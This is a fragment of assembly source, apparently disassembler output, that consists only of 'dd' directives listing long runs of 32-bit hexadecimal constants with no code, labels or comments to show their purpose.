dd 0F79E7AE1h, 0C3FD2BE1h, 0F8AF824Fh, 9A82590h, 38692E06h
dd 3E819148h, 18E0D13h, 0D517B093h, 679227A1h, 0B72E1309h
dd 98A43E58h, 5DCCBFB2h, 9625C410h, 9063816h, 61D3130Bh
dd 5DB5ACE6h, 0C200E93Fh, 4C01CB0Fh, 0BAD525D9h, 6CDC0673h
dd 0E3CD025h, 22E33B63h, 0DA5340A4h, 6F7BAC9h, 0EE6A997h
dd 0E9E262B3h, 0C7A25C19h, 69817984h, 0B9D6C484h, 18FB4C43h
dd 6BE0ED27h, 0D4A3B0Eh, 16B4A1ABh, 0B5E7BADAh, 92A55AC3h
dd 4A257552h, 95EA73A6h, 7F987901h, 93A5C2F3h, 0C1587832h
dd 0DFEE88F6h, 0BA2C3947h, 0C963E5FFh, 8FF82860h, 6F1200C7h
dd 16BC6717h, 69B662ECh, 0E01FC01Eh, 95FC651h, 0BBAE110Ch
dd 8FE4C8A8h, 0EDA2F6A1h, 0C35BA1BAh, 0FFDE4B3Eh, 35476D11h
dd 43965C04h, 2752349Ah, 0DC82480Fh, 6078AFD5h, 0CCB4F6CDh
dd 0A67CB1BBh, 0C4CC938Bh, 86876AB9h, 9265593Dh, 0BAB609F3h
dd 0D4D8650h, 0D0F36ED7h, 0F26F804Eh, 0F621465h, 5D7BBF8Bh
dd 0A8EC33ABh, 453F9BF1h, 340A2C7Ah, 3449C385h, 78CD46E1h
dd 0ABBDA336h, 0B363F5FEh, 0CE6D9A9Fh, 0CA16E3B5h, 0F63510Eh
dd 0AE85DE2Ch, 3D90438Eh, 2C6D7520h, 17E063C8h, 0C9DC5783h
dd 67CE26ECh, 43AC7928h, 0A2AF6D2h, 0B859637Fh, 4A45C895h
dd 0BBD22AF0h, 3108791Ch, 1788599h, 0D5779CA8h, 0BC68D6E2h
dd 83289C18h, 2001E8B8h, 0CC8909ADh, 9FB238ABh, 34526D11h
dd 0AD465602h, 0A4E581B7h, 0D5F4E6DCh, 69313A5Ch, 8234683Eh
dd 5EF3EC5Ch, 0BD4EAA0h, 424013E7h, 1BA74D63h, 6EC2F142h
dd 2763EDE6h, 859B832Bh, 0D6E1C76h, 0D95CA004h, 0DA24DA90h
dd 0ED9BA16Eh, 9C202CCh, 6D6FC6FCh, 53681DE7h, 6F010AADh
dd 64AEF459h, 84C5D02Bh, 2E592A33h, 1B7D7E2Fh, 568E2904h
dd 0C8CDE668h, 9C148346h, 0CB537C06h, 0CC18544h, 940627F1h
dd 21E2FE19h, 4559CB3Bh, 9C278C64h, 261236C1h, 0E265F84Ah
dd 8BA9F169h, 0D1862B15h, 7DBB91DBh, 4C9649D1h, 829F4D5Dh
dd 4847C994h, 0E49F2E15h, 35A3FD75h, 81B3CF00h, 2E231917h
dd 0DB8CFCE8h, 0C0C71B85h, 2950249Ch, 0F7FA3007h, 66C88E2Eh
dd 0F30776Eh, 0EF5CF966h, 0D4E7E62Fh, 0FF4675F6h, 5910EFA7h
dd 0C8E8FDEh, 3DAAB0A2h, 0C2C20CE9h, 432EA53h, 4A81A5C3h
dd 0EB20CED0h, 8A5A73Bh, 7722E368h, 627F8E69h, 0A9C91E7h
dd 46027762h, 6BD36C54h, 8B283866h, 30802B8h, 0D6484758h
dd 0E9CE678Ah, 0DB5ABA56h, 0BB1DE74Ch, 6AA5F521h, 0D3E62344h
dd 7D13BB19h, 0F80834A4h, 0D89CA24h, 74DCFC50h, 1930F7C7h
dd 0CA84078Ch, 0E71A5EEDh, 0E09AB196h, 6FAF7D2Ch, 92767783h
dd 1760FC80h, 0BFCD58E8h, 2FBBB22h, 0EBCA01DDh, 55FB14C2h
dd 29F62451h, 0A3FFAFC2h, 2E6BFAE1h, 0D5AD89B9h, 0C20EC56Ch
dd 0FC3DAA5Fh, 5D1FCA6Ch, 0D09419CAh, 7C420D0Bh, 0BEEAAF1Ch
dd 90257FF9h, 17BE09D7h, 909153C6h, 3980CDFEh, 0DE207E6Eh
dd 0A4F5EA6Ch, 62E550FDh, 0C948A4B1h, 49A2C06Eh, 0D2946210h
dd 0E5BA4DE3h, 64728B74h, 7B21DDEAh, 3A95251Bh, 205E15D8h
dd 0CDC44618h, 9C197021h, 2CBD55C0h, 7C7F2498h, 0F52061B1h
dd 0D5568D02h, 0C21EA324h, 1A2B9B90h, 0BF6C118Ah, 0E828755Ch
dd 442B3E6Ah, 0B533982Ah, 74318CE2h, 0D5CA2576h, 41274C58h
dd 211F0C18h, 0BFF14CE5h, 844DB601h, 0E0969CB9h, 5DEE99F6h
dd 0FAF9525Dh, 796ABC39h, 6E0F2A24h, 30671DD0h, 7595E0E5h
dd 61D35238h, 4F8EB118h, 578E4544h, 58C869A6h, 5FD08DD9h
dd 0A135BAA3h, 4F3FF65Ah, 1B591DE7h, 0E4CDD71Bh, 3475351Ah
dd 0EC48D223h, 16F214F6h, 4BBB12DAh, 9FD0E9FAh, 6B11F4Ah
dd 3B400E04h, 2D090836h, 5ACF3AAFh, 9AC51731h, 0F41ADF95h
dd 39F819FFh, 61005B6Dh, 72512E0Ah, 774C6B0Ch, 28BE2807h
dd 6ED04282h, 6595AF7Eh, 2A2B8FE1h, 9F6D96BAh, 3667A5B7h
dd 82759E0Ah, 5764E0FEh, 8F0ACF56h, 0BD315DFFh, 0F2D051FBh
dd 1FCF883Ch, 5AEFF0C3h, 0AF01C0D7h, 7483F802h, 0C30EFD90h
dd 1E6F0902h, 9D2EBF53h, 3061A062h, 0C5849DA5h, 114B1685h
dd 8F4EDC7h, 30B2D261h, 0D1DF9889h, 27BFD717h, 0F4D84AB5h
dd 0A7013D42h, 0B79AAF82h, 112B6E17h, 0C5A40B66h, 26AAF74Ch
dd 6EB0E5ABh, 0D7D95761h, 1E4FAFEDh, 328E155Dh, 0BF10DE98h
dd 0E2F26CABh, 4CDCCA78h, 0BFEA00FCh, 0D495D3CEh, 2CE62C00h
dd 0C934836Ah, 9E630E0Ah, 0B7D1852h, 28789242h, 0F46FD733h
dd 7ED36AA8h, 67B69C4Bh, 5286811Eh, 0D4817426h, 0CB2F400Dh
dd 3983C323h, 9BDC384Eh, 0A7BFF100h, 2B9D6470h, 52889305h
dd 6EB1FCE9h, 47C8A18Bh, 2A8DDE3h, 4483A947h, 3E3A4BF3h
dd 0D7C2B9FFh, 0E45BDEDAh, 905F5FB9h, 0B483AD2Ah, 691E3D4Bh
dd 9DC28B66h, 67FB01D6h, 367B3B88h, 0A32C33F6h, 0F4B13666h
dd 0E214074Eh, 492E39h, 0CEE7AEF0h, 1342E63Eh, 0FE827AD7h
dd 0A17E5568h, 97DAE0BFh, 0FDC819F9h, 70D3DF46h, 0E9F5D51Eh
dd 0CFCC6D56h, 832D3721h, 4078ACB7h, 20258CA2h, 8235F7DBh
dd 82A8443h, 6C1DDF25h, 0B9ED2F3Ch, 912E204Ah, 0BC9964EAh
dd 0FC40B458h, 0F672E83Eh, 3C7BA48Bh, 78D07F89h, 0D36EE038h
dd 814CE10Bh, 7EB6D599h, 0B79D3D88h, 0C7CEFCC3h, 0A4E06A7Fh
dd 0F24AECB2h, 0EAEAF2BEh, 7775AED4h, 5256B10Ah, 91631036h
dd 95C36537h, 0AE6E7EA6h, 0A6D46C5Fh, 25DF7484h, 1BF9DB9Bh
dd 91C5771Bh, 0EAC1A740h, 3B7D1510h, 0DFA9B8F2h, 9A6B994Eh
dd 2183D30Fh, 0BB05CABh, 0FC014CBCh, 7B7B73DEh, 41529C8h
dd 753373F4h, 2C3CDB37h, 419517EDh, 0DEDAA10h, 654A5F2Dh
dd 2ED83965h, 0A558B25Bh, 0F7874512h, 1681EE6Dh, 74A8298Fh
dd 738445CFh, 0C4F8AECCh, 0AD6C1966h, 82075B6Dh, 8D2F9CE3h
dd 0A78737FEh, 507BF4F6h, 986C82Eh, 0AF24F09h, 178C2829h
dd 635DD3C8h, 0DBBA2744h, 3B927A8Eh, 0F4442443h, 0C170C648h
dd 35697672h, 0B5AA3AD6h, 84DE6129h, 512E7A45h, 2F3940E1h
dd 0C2D7B597h, 0A52C4AFCh, 0C7531CFCh, 0D7AD1401h, 0DFF710F2h
dd 0B68F4587h, 326C3A4Fh, 0D9E0F065h, 0CB5C4478h, 0B17ECEF5h
dd 0EE54D939h, 47B52D88h, 0F72F2DA2h, 55BAE48h, 5AC9D0E4h
dd 93D691CDh, 8BEA6EFFh, 650714B5h, 0D528E732h, 73A8FE2h
dd 520918A0h, 667EF9BBh, 20C8FE97h, 0B733D0E4h, 51387CB3h
dd 0C6E58D87h, 0D24E484h, 9EBE6393h, 245BFEC0h, 0E9157594h
dd 0EC9228B8h, 0F8710457h, 1ABF66E6h, 24CBAAA4h, 0E15DBB21h
dd 0CF67B7FCh, 0A6DAC513h, 0C39AACFAh, 605CFE8Bh, 112B6D6Bh
dd 60A6027h, 3D186C07h, 64D85E8Bh, 6F6BAD8Ch, 0C4F61C7Fh
dd 8DCC9A6Ah, 0BAB29B47h, 1CEFC382h, 37D1ECB3h, 9B0E96B5h
dd 0EA90A329h, 45015D2Bh
dd 103CCC6Dh, 58E32A31h, 8313BBFh, 6BE56C8h, 117C7645h
dd 9F32B14Bh, 600EE53Ah, 0E10D5BECh, 7B8509B3h, 0D8C3DF4h
dd 1A9A216Fh, 80BF790h, 540211ABh, 0D0C7DDBFh, 0DC8BD9EFh
dd 1CCC01AAh, 3564A73Eh, 7A774662h, 0A4AE76AFh, 3F5FD568h
dd 0F43C4CF1h, 91745491h, 5C3F793Ch, 0A9C39F86h, 13EF58B4h
dd 0BDF93DE5h, 6778E2A8h, 3344892Eh, 2D5BE561h, 7AA1AA34h
dd 141BE829h, 0B9EBA368h, 5340DADh, 33A09076h, 410A9FB9h
dd 0F5384D11h, 0D896235Bh, 855C3FE5h, 5B81C47Bh, 0DF654A40h
dd 945DD9F6h, 0A74EC345h, 893E8EDAh, 0C34BE755h, 5D5ED725h
dd 27B06F51h, 16F3B7Ah, 0B958529Dh, 0D56CDAC0h, 60F87E19h
dd 51BF2A6Eh, 0E527B13Eh, 97E64C1h, 0CA32DB51h, 1D394BCBh
dd 970EB3E1h, 0A0114AEh, 0C33FC9E4h, 3BC9BE7Eh, 30FCAF89h
dd 82146E9Fh, 0EE2DD1DAh, 0E2A77329h, 127223E6h, 2D4153B3h
dd 83834805h, 78F3A857h, 0EC6E1FE6h, 7CA04E14h, 524BBBE2h
dd 0C1034526h, 0EF33C53Ch, 0CDAB80A2h, 49070E16h, 63B7AB5h
dd 9B4FC03Ch, 8C47417Eh, 0C9F6EA5Eh, 0B5016CFh, 0DB5147ABh
dd 11BCA0B2h, 341BEC81h, 0B3F9E5F0h, 71CCD767h, 0BFC711D3h
dd 512D334Fh, 746850AEh, 0B3B97D1Dh, 89470A26h, 67AC780h
dd 57C5B796h, 5D5F5644h, 98F11E9Ah, 0E0286E91h, 0F495FEFBh
dd 3027355Eh, 0A58D4C21h, 51305B36h, 0C13B9D73h, 0F8C532E2h
dd 2F740801h, 0C07B1C43h, 0D61FF7ABh, 180584BEh, 0BD3749BDh
dd 24ADCB92h, 57372D88h, 48860DD1h, 0F8561BCEh, 7382E3F8h
dd 9A9562B5h, 5AA7F181h, 0EF1F26EBh, 3BD8A49Ah, 94937413h
dd 0F626669Fh, 628EB05Ah, 5EA65746h, 7EB2CC1Ah, 0F8694EFFh
dd 40D0EB6Ch, 16A5B0FBh, 0EC7D910Eh, 0E5AF8612h, 40FCA9DBh
dd 639EBFC0h, 7E684F57h, 5C62E236h, 0E392AB8Fh, 6234CB8Fh
dd 0FBE122F7h, 0E0880540h, 37BBFE82h, 51D75A41h, 26F162ADh
dd 391B1D50h, 844D273Dh, 517DB9Dh, 115C89E9h, 5671A67Dh
dd 46426A26h, 0A8047585h, 1054F3Ch, 0F6F14708h, 0F25284A7h
dd 89B7AD41h, 539286F3h, 0FCE3E2AEh, 0E4CB18BAh, 76928AC3h
dd 0E70733F0h, 0AF8A3DCh, 0F4DCC4B4h, 8868925h, 4F79F7C9h
dd 7F5BFE71h, 7074518Ah, 3BB4CE0Dh, 0FA584CDAh, 7939F720h
dd 19586143h, 9A40754h, 4C6C9C63h, 79D3F3CEh, 64E87A49h
dd 4E02715Ch, 3A3B477h, 0AC4C83E5h, 25199085h, 0C7A04C95h
dd 8F8888E9h, 0A86655E4h, 4B64D23Fh, 0A6BDCD97h, 0A4226B0Eh
dd 0C614108Eh, 2427B803h, 0C4258ACh, 0A652C4CEh, 0F5B2D9E9h
dd 781BEAAAh, 4850FEDFh, 2D1E6D44h, 0C00DD234h, 5DCC938h
dd 0B093228Ch, 9BA7702Eh, 2DA95BA5h, 22CF7C3Bh, 0DC922652h
dd 97FBC65Ah, 5853B468h, 33598064h, 785D0857h, 533E2B9Dh
dd 0D7121251h, 13BDDB15h, 0EB03694Ah, 2E1B7055h, 0CB690861h
dd 0C078D48Eh, 0B6BC4EF5h, 62438DC0h, 0F61AA3FDh, 0BBB55582h
dd 0D87D8CFAh, 301F2F8Eh, 0D696E53Fh, 0E428C7Fh, 847AFEDFh
dd 0D42CC3E1h, 0DE2A4A10h, 9D933F7Ah, 232DA851h, 0A959702Dh
dd 0E71BA919h, 2C2061E0h, 4CE4BB3Ah, 92134ABEh, 0A642F408h
dd 14F3B9Bh, 0F6195A54h, 9197525h, 0C975BA31h, 556633ADh
dd 0D880D62Ch, 3CFA0FF2h, 9F4A2542h, 0E1598D4Bh, 0F9204BBFh
dd 42AF49FFh, 0A7DC1E99h, 1211965Dh, 0B9A329DEh, 4BF01D70h
dd 0C3CB29Ch, 0D6FD13E3h, 897E36A7h, 0B3968F6Fh, 202096C9h
dd 0A12D8B71h, 1B5DC8Ch, 0A5813148h, 7CBBFF2Ch, 32938C4h
dd 3BE02088h, 0D8BFD7DAh, 6E13C040h, 0B11DE282h, 0A01D4B7Fh
dd 0A7320740h, 0F436092Dh, 0DEDE74E7h, 456E4F14h, 875619C5h
dd 23FE0104h, 9BFE8353h, 4CA37A84h, 0EC494637h, 62BCA849h
dd 6F8F85Eh, 107E8948h, 6E4767E3h, 4227D7EEh, 4C539820h
dd 9DF4D75h, 0CF2FE557h, 7D730C75h, 0C8C7A50Ah, 0FD000E65h
dd 0B3F00EE1h, 3B48A56Bh, 463CE966h, 0A3883FF7h, 151E9065h
dd 60AC7508h, 5388895Ah, 0EFD1F65Bh, 1987D724h, 355B734Dh
dd 58BB4DE9h, 0E9290E9Ah, 0E752E03Dh, 70AC3A89h, 0E0A7E3EFh
dd 29ABE817h, 0C81CEDC7h, 243A18CEh, 0C4557C53h, 704DA603h
dd 0A73EC5CDh, 8AA123ABh, 6D0CF289h, 8691A14Ch, 42F277A0h
dd 5B0BE623h, 64D4CDB6h, 48F899F8h, 82B548B4h, 257E062h
dd 0FEF0BD61h, 2A663FACh, 0C2742082h, 9F5A271Dh, 4338D362h
dd 63AA2EE6h, 3FEC19F9h, 7B2F3F5Bh, 98A07525h, 11EC61Ah
dd 7F4E6EC7h, 3C7EDEC6h, 54442407h, 1EFEE63Eh, 1E5262Eh
dd 6C4B1208h, 891E3E59h, 740B5D8Ch, 54CF3061h, 19AFB68Bh
dd 0CAA6A956h, 0A22B92C2h, 739680E4h, 6F6B6D8Dh, 0CDE93365h
dd 0C5F5F973h, 0A52883Dh, 304CC44Dh, 1EA74996h, 98884124h
dd 9FB17562h, 86886B9Eh, 0B1B4DEC1h, 20D0920Bh, 404A3370h
dd 3499986Dh, 0CB1863ACh, 8B8579ABh, 300273A0h, 7D28B9FCh
dd 29FD563Ah, 6C34BA06h, 7E2BED07h, 27E8BC68h, 0F376EC5Bh
dd 0D8DF09E1h, 0BD925A04h, 0B85FF578h, 0D15052ADh, 0DA24E811h
dd 5C1932B3h, 8F46E47Ah, 9EA90308h, 0BA871F0Bh, 534F0464h
dd 0C66671AAh, 9EEC268Ah, 49DE740Ch, 0B5019845h, 8BEFF964h
dd 7761716Bh, 9B793834h, 726C9653h, 0BBB3010h, 0A5BC9C87h
dd 6D20200Fh, 0F42AD638h, 357AD9ACh, 50AA43CFh, 14166E8Ch
dd 383A151Eh, 6F2B0E1Ch, 2962C862h, 81CD3ADCh, 5AFFAD8Fh
dd 0D7AC54ABh, 0CCEBAC62h, 925D9D97h, 0E7D8FCA8h, 0E5938362h
dd 95E0CD06h, 0CB600056h, 4A80D2E1h, 0E84F1499h, 86D748FAh
dd 238B1B76h, 19DE65EBh, 8F4E675Dh, 0D2E6DA20h, 5496D2D9h
dd 0D85F2A65h, 0ACEF6682h, 72E0D626h, 9AF71A6h, 3832757Eh
dd 0E2B995E6h, 63D04FA8h, 54CC3A7Ch, 675302D0h, 7CEA6925h
dd 0AF421597h, 0D9F63653h, 2197E13Bh, 2D13A20Ah, 6F5BA0Dh
dd 1C60B274h, 79962A48h, 0E0014AF7h, 7FB7D47Eh, 57973B16h
dd 9197E1C9h, 761B33D4h, 43A948BAh, 0AED3FFC9h, 0C860F2C3h
dd 75590D4Eh, 0FB8ACE6Fh, 6ADBC747h, 0B59CB904h, 0D4210F5Ch
dd 0C46D9FCCh, 0F156D1C9h, 84E23356h, 5AC74AB3h, 23F01C39h
dd 0D190CE79h, 14998948h, 78596067h, 0C642BEEAh, 91797B80h
dd 0F91141CFh, 3712B86h, 0D79B978Eh, 0B5FC3CBFh, 6212617Dh
dd 770E4D7Ch, 0CD1AC7CAh, 53043B9Fh, 3AC7E742h, 1CAB3F21h
dd 0A1114E50h, 3943B222h, 0C3500BB0h, 12E9FE23h, 577B5435h
dd 6499D412h, 39781332h, 0FBD10E01h, 3F59C797h, 203396A0h
dd 1CE7F237h, 0A6B98174h, 0AFC9D93Ah, 0C66EFCE6h, 40731FDCh
dd 0E4AD3C52h, 4985F8A4h, 12B6A8C1h, 5E0ED3A6h, 6ABD0193h
dd 316128DFh, 9648169Ah, 4DA8075Fh, 0CC740CF6h, 695CFC6Eh
dd 0CB137840h, 0AFA7B1A9h, 0D16EA728h, 269D9207h, 4754D625h
dd 0F440A88Fh, 0CD7CA2C6h, 94EB0F5Dh, 3E17D3D0h, 0E4D618D6h
dd 0B3526893h, 0AFDFC573h, 577E40F7h, 0CF98D05Fh, 89DB2014h
dd 0B66BF6A0h, 8FA10F85h, 0FA6C388Ah, 0FD0B9F4Bh, 0C5AF0188h
dd 0B103AFFDh, 748B4E06h, 85E02B3Dh, 8472CDFh, 0CAE3125Eh
dd 21CC7D1Eh, 5740CCFAh, 48DCF73Eh, 56E97760h, 0FC9EA28Dh
dd 0B5FCA9A9h, 0C14DD436h, 50CCDDA5h, 8ADF6615h, 3869E722h
dd 0D47C2F42h, 21EC37C2h, 0ECD55BAAh, 0ED0E5BCDh, 0C9CE438h
dd 2238E061h, 70455426h, 1D0EA070h, 960FF6BEh, 4CE4F354h
dd 38928BE9h, 7D499C9Bh
dd 0E7E1FBA4h, 0BFBFA3EDh, 2913926Fh, 201BA612h, 6F88718h
dd 9FE2EC19h, 5174E73Eh, 0CAEB5548h, 184501BEh, 0FFA978AFh
dd 5D4BFC20h, 1B1F976Dh, 5D7C2EDDh, 22D0C6A5h, 0C2175A17h
dd 0AB2D687h, 54897E47h, 0DF677EE7h, 710C62ECh, 7014CC1h
dd 0D31ABB57h, 4A35D056h, 0A72CA4ACh, 0D592260Ch, 0D2B767A6h
dd 1A3FCAD3h, 0DAE1CF30h, 2DE7111Ah, 0DD958446h, 3820A69Eh
dd 94F55585h, 998AF33h, 98556E28h, 0FDF2846h, 86617CF6h
dd 0D112E5BBh, 0F120656h, 0F2C46F87h, 1B644616h, 0CB316DC4h
dd 0DEAFDEBDh, 0ECA10872h, 0B6B8F62Dh, 0D4943500h, 7E869CACh
dd 0BDF18821h, 138FC05Ah, 0F9BEC754h, 0B5D31323h, 55E60320h
dd 7E0495A0h, 0D1143E8Bh, 7E8456B8h, 0C1187FC1h, 0D6CAD036h
dd 0B619F946h, 0E81513E0h, 0C4F48D3Bh, 301987CBh, 5777AD63h
dd 0B1603FE5h, 16CFFDA7h, 0C0A41D0Ch, 0AD23441Dh, 0EFBD6BA1h
dd 73354B5Bh, 0B30A9B26h, 0E7EC9CB6h, 94BC988Fh, 660FAFBCh
dd 518299B9h, 5818719h, 965318FCh, 7305BF1h, 6CFB0220h
dd 0BC0953FAh, 0FEB81551h, 0EADDF45Eh, 0C9B6C2D5h, 179435B1h
dd 0C7417D82h, 9781BBA1h, 0F30FDD7Eh, 813C0F07h, 0AC8CFBB5h
dd 9344E38Bh, 0C0FC5037h, 0A18E2E21h, 25343D68h, 118B057Dh
dd 6EE3400Ch, 83D945F7h, 65796B6Fh, 29823372h, 0EA5EB11Fh
dd 0A2B89259h, 1E1B0CE5h, 0F25582B4h, 308D6F26h, 4189BE04h
dd 17E16887h, 0C8589B20h, 4D5F36B6h, 12DE8912h, 258AAFCDh
dd 58BB3269h, 618DF130h, 1FCCA464h, 293B47F8h, 914E5365h
dd 2C4EDB88h, 18E59444h, 30ED43BCh, 73666C91h, 0E3C675DCh
dd 340087A7h, 0B1304DEBh, 2261004Eh, 5786F772h, 0E8F70A7Ch
dd 8CF1F56Dh, 0D76ADF5Dh, 6FDC287Bh, 0EB04362Ah, 6971D35Dh
dd 22240932h, 1E0D0EDEh, 5FCB867h, 6C989883h, 419DF080h
dd 0E0872A9Ch, 0BEEBAC27h, 0EC4255F2h, 0B7222099h, 239F327h
dd 2D1D8D31h, 744BC79Dh, 3E677D57h, 0E60490BCh, 836A6759h
dd 8434CFE5h, 6B63B96Ah, 267DE518h, 3BB16101h, 0B02C89Ah
dd 0A1DE4515h, 482351CFh, 64C8E4DFh, 5B54D5DDh, 10C381E5h
dd 4DCAFDAEh, 0F08726A1h, 43524A14h, 86422AE3h, 9398535Ch
dd 49A2B0DAh, 0CCC0CD02h, 176C91D6h, 0EAA1A7DAh, 184F8593h
dd 7D3EDA5Fh, 10E5D3FDh, 0F3C31E72h, 2DAA7DFFh, 5AD3BD25h
dd 0F9FEE76Ah, 34389FBEh, 0D8858216h, 0D8A059A5h, 0D0BFDC53h
dd 6156957Eh, 1D183541h, 0B1F07544h, 33D52011h, 77B37C30h
dd 560990D2h, 4A7FF517h, 310ACC98h, 2EEB4822h, 7CCD0AD5h
dd 2D44B0E9h, 5BEA0D3Dh, 8BAB82CFh, 0BB1C1ACFh, 3261A57Fh
dd 699200D0h, 0C9A9D843h, 2DFAD3E5h, 5F5E8781h, 0FA68D4E8h
dd 0D5ED2F85h, 0BEE01A88h, 6DA7504Fh, 0F6F88809h, 0DBE53C1Ah
dd 6019AEBAh, 10BC9A82h, 0F076FABAh, 1DC802C2h, 0BDB7DFC7h
dd 0E0E5E003h, 50278D23h, 0FA562830h, 81B31377h, 8C4ABA71h
dd 814F166Fh, 881DD56Fh, 0D98C33B2h, 4A93E5Fh, 2CE72A59h
dd 0E2BA6AB8h, 0F1D0524Ah, 0A3B8ABD3h, 0F37045EEh, 115695DBh
dd 8A6CF80Fh, 8A457E3Fh, 524C2172h, 0E889138Dh, 0A492033Bh
dd 0A6331C3Ah, 0AFF62AC9h, 0D8798C09h, 1E21CA4h, 0F1128FA2h
dd 954D795Fh, 0C5769635h, 397B84C5h, 9E4001A8h, 6F6F0E62h
dd 0BA588FEFh, 7C1346F3h, 0C807B243h, 4DA11442h, 0B573C4A3h
dd 29798F6Fh, 4D825B33h, 0F2B5DC27h, 0E371BA76h, 7E1ABF13h
dd 1F36B880h, 3245211Dh, 6E14DC82h, 4A06D580h, 0A86F92C3h
dd 0CC114A83h, 0A05FC660h, 1EF4B26Fh, 3129B80Eh, 0AED1AC38h
dd 0BE0BE948h, 360F511Ah, 0E7AE0ABAh, 0C6317E47h, 6607F165h
dd 4B7B0DF2h, 0AD045282h, 44EB7432h, 0EE12A102h, 8AA4646Ch
dd 0DC755997h, 0E6958AFDh, 0E89C5B49h, 8B14A257h, 0CE9C2905h
dd 9944B97Eh, 1C4412Ch, 0C3C245A3h, 1AADCC57h, 6B05D20Eh
dd 70A33A2Dh, 8D041918h, 4E539D1Ah, 5E01E0ABh, 0E90A2D62h
dd 0AB4793D2h, 452E2185h, 6E61B76Fh, 0CEE3EDCCh, 3314AAC2h
dd 0FA12D619h, 0A3F47195h, 40D7D272h, 38979F74h, 7649160Dh
dd 0A98A0F2Ch, 54426A0Bh, 1A58A766h, 0F333DFDCh, 81AF9873h
dd 40578C2Fh, 4F8C7DC3h, 8EEC3913h, 510B9C2h, 0D82C2B7Ch
dd 745ABD32h, 1EAF2F34h, 7E60394Ch, 5DB4DA3Eh, 6FEA0557h
dd 0D33CFA5Eh, 0CA0970FCh, 9645A0B0h, 0B94EF589h, 0D5A58C26h
dd 57A07CD6h, 0AEBE23E0h, 3913C3ACh, 730241EAh, 3A4A5442h
dd 0F0BC5EC5h, 9E03FABAh, 842391h, 38EC9698h, 0D94EC934h
dd 48CDD16Eh, 5717572Eh, 5568BE6Fh, 1DB20174h, 6F11058Eh
dd 0C38C1A76h, 0FBA56127h, 33B94971h, 8E27D701h, 8347C1F2h
dd 66C79146h, 0F784760Bh, 3601D8CEh, 40ED4A83h, 0C6A926Fh
dd 1B02EBAh, 7D8851B4h, 0C69F5E28h, 0BC8BF3B6h, 0DCE0DCE6h
dd 0A95CCD3Eh, 2204E06Ch, 0C4ED1CE0h, 43BCB9F0h, 858134E2h
dd 18F47A69h, 165F06FAh, 0E7302296h, 3C504A4Fh, 0AB3DC5D7h
dd 0F2F9AEFEh, 6FF8B2ABh, 0D8E448ECh, 3DB11878h, 0CC05384h
dd 72472A91h, 48CB9FD2h, 6A18C9DEh, 67444C51h, 0FC3B533Fh
dd 0C4882E84h, 3EE6E336h, 4F8F905Ah, 0E56CE3A1h, 0DA0934CEh
dd 52586E10h, 4220C54Ch, 9B201CA0h, 0AF030F95h, 7F156F4Ah
dd 19BDBD58h, 0BFDB37B4h, 0A58A2023h, 2564AC6Eh, 0A38BA9F1h
dd 8B3DF0ADh, 4218B3F9h, 0B8FEB65h, 8F4E160Ah, 1016F239h
dd 2E44AFC9h, 9BADFACBh, 78C51027h, 0C1AA23ABh, 2034EDABh
dd 5BFD3FC8h, 0D4B77FBFh, 20CA002Fh, 5F04D503h, 62F2B0DAh
dd 0C7BA9495h, 0CB3EAA93h, 289A2620h, 65FF30ADh, 7975D8C7h
dd 13F4A1F4h, 0A4116331h, 9D093939h, 0D5A57116h, 70C605F0h
dd 0A6143E49h, 56618DAEh, 74472778h, 0E6832962h, 0DAAB6775h
dd 13859D62h, 0D1DCF59h, 8A0BBD14h, 3B28D897h, 0DCA89FBFh
dd 3E80C764h, 0CBDEF4D3h, 0D75F9C44h, 0EC016C75h, 0E9791FEFh
dd 0D0733084h, 0A791C8Ch, 63857D46h, 0DBC9C0E4h, 9209D3A5h
dd 960EBA66h, 32AD913Fh, 0EF16DE19h, 0AF494A8Ah, 5B654021h
dd 0B0FE70E4h, 3A07D619h, 0C5A0D5E9h, 7B3D7D2Dh, 70FFDB3Ah
dd 31B2AD8Dh, 46EEE880h, 8E572E85h, 576DBE02h, 0C0A2829h
dd 0D389597h, 5BCA59E4h, 0FBFF94D0h, 3DBC97BBh, 5E1C3913h
dd 0F02FE85Ch, 0B9099653h, 9285338h, 6240F742h, 0E0D0CDD7h
dd 68C2EE5h, 0E8D735Ch, 1F3063E8h, 0E42E11AAh, 0EA29503h
dd 6A2C251Eh, 0A6BC93A9h, 419440C8h, 4C9B3F8h, 188AF7CBh
dd 4D6E9CD4h, 3AEF2CBBh, 7CC91E6Bh, 51AE5D01h, 21798340h
dd 0F1C203F4h, 7EFB8D04h, 0C9F4823Dh, 330B7170h, 0BD75FED8h
dd 2F7018B8h, 672AA1C1h, 924CF0E4h, 0B28C8B2Eh, 0DA2C2DA3h
dd 0BEBFF579h, 0D48063C8h, 0CA464CEEh, 9ABE3600h, 0E97C8ADBh
dd 81B1C6B4h, 30D806F2h, 78ECF254h, 1183596Fh, 91B91483h
dd 41469329h, 0FB1CFB6Ch, 89C12D13h, 28DF2A59h, 53616637h
dd 0E9113BC0h, 3E836A6Fh, 662540DAh, 0C1B73DA7h, 9AD59DD0h
dd 75699151h, 2CDCB0AEh, 6FC34CF1h, 0EA22A501h, 49033370h
dd 6484685Ch, 0E0520091h, 0AA9AD99Ah, 44293D8h, 638F7050h
dd 53CCBD7Bh, 0F1CC5D3Fh, 0E3EEAE74h, 0EFF3BB64h, 20613829h
dd 0F25DE780h, 8FA5822Ah, 0F5D83F44h, 60135C49h, 8187025Bh
dd 0E6E59236h, 23D52334h, 0AD0647B6h, 5D33885Fh, 0E785FFFAh
dd 195D023Ah, 6BF8BA3h
dd 0C541CAECh, 9A650BEh, 759FDB6h, 44C4D0EBh, 0D604632Fh
dd 488240ABh, 7287BEA3h, 0B2664BE6h, 0CAD67AD2h, 4093F9DFh
dd 0FAC5CA1h, 0D65C766Dh, 3DF71F84h, 899A92AEh, 0C87171CAh
dd 74386376h, 0F21F1AD3h, 5ACD2E4Bh, 5D283B99h, 9BE33DF7h
dd 425223EFh, 0A38AB71Bh, 7ADA5DF3h, 0B1061BABh, 57FD9632h
dd 3618AC68h, 0BF44A877h, 0AF5C80A4h, 962B70E4h, 0EA03AF88h
dd 91554E1Ch, 0EEFAB818h, 0C65B593Fh, 99522D02h, 0DCB7E2F2h
dd 0DC5A7EE6h, 7F70A944h, 0FD59E340h, 7A501614h, 0CCF1A8CCh
dd 658F8491h, 0ECFB5323h, 911367A4h, 9C5B0C1Ch, 71D9920Dh
dd 0EFF8C320h, 0D8A0F7FBh, 30DEFFA9h, 8A70071h, 0B0CDB86Eh
dd 3B33F63Eh, 0FBAF25C6h, 704E1CC4h, 58081ECh, 0ED23CA6Ah
dd 8760065h, 90A85A69h, 221CD31Ch, 0DBD2B88Dh, 2E7A2088h
